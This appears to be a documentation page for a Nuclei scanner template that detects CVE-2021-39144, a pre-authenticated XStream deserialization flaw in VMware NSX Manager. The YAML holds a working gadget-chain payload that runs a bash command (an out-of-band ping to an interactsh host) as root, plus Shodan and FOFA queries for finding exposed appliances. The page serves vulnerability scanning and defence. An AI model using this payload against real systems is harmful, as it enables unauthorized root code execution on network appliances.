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VMware NSX Manager XStream Pre-authenticated Remote Code Execution

ID: vmware-nsx-stream-rce

Severity: high

Author: _0xf4n9x_

Tags: vmware,xstream,rce,msf,intrusive

Description

Section titled “Description”

VMware Cloud Foundation (NSX-V) contains a remote code execution vulnerability via XStream open source library.VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.Due to an unauthenticated endpoint that leverages XStream for input serialization in VMware Cloud Foundation (NSX-V),a malicious actor can get remote code execution in the context of ‘root’ on the appliance.VMware Cloud Foundation 3.x and more specific NSX Manager Data Center for vSphere up to and including version 6.4.13are vulnerable to Remote Command Injection.

YAML Source

Section titled “YAML Source”
id: vmware-nsx-stream-rce


info:
  name: VMware NSX Manager XStream Pre-authenticated Remote Code Execution
  author: _0xf4n9x_
  severity: high
  description: |
    VMware Cloud Foundation (NSX-V) contains a remote code execution vulnerability via XStream open source library.
    VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.
    Due to an unauthenticated endpoint that leverages XStream for input serialization in VMware Cloud Foundation (NSX-V),
    a malicious actor can get remote code execution in the context of 'root' on the appliance.
    VMware Cloud Foundation 3.x and more specific NSX Manager Data Center for vSphere up to and including version 6.4.13
    are vulnerable to Remote Command Injection.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2022-0027.html
    - https://kb.vmware.com/s/article/89809
    - https://srcincite.io/blog/2022/10/25/eat-what-you-kill-pre-authenticated-rce-in-vmware-nsx-manager.html
    - https://attackerkb.com/topics/ngprN6bu76/cve-2021-39144
    - https://github.com/rapid7/metasploit-framework/pull/17222
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"VMware Appliance Management"
    fofa-query: title="VMware Appliance Management"
  tags: vmware,xstream,rce,msf,intrusive
variables:
  lowerrstr: "{{to_lower(rand_text_alpha(6))}}"


http:
  - raw:
      - |-
        PUT /api/2.0/services/usermgmt/password/{{lowerrstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml


        <sorted-set>
          <string>foo</string>
          <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
              <target class="java.lang.ProcessBuilder">
                <command>
                  <string>bash</string>
                  <string>-c</string>
                  <string>ping {{os}}.{{interactsh-url}}</string>
                </command>
              </target>
              <action>start</action>
            </handler>
          </dynamic-proxy>
        </sorted-set>


    payloads:
      os:
        - '-c 3 lin'
        - '-n 3 win'
    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"


      - type: word
        part: body
        words:
          - 'deceptive request routing'


      - type: status
        status:
          - 400
# digest: 4b0a004830460221008124c5034dbebf720c8a01ada2bc79754d93b6604691ba40ce67dbd15535e7b6022100c295935cbd3d25b65a14322c1d080e12a8387519691e3283ba2ad48a98da623f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/vmware/vmware-nsx-stream-rce.yaml"

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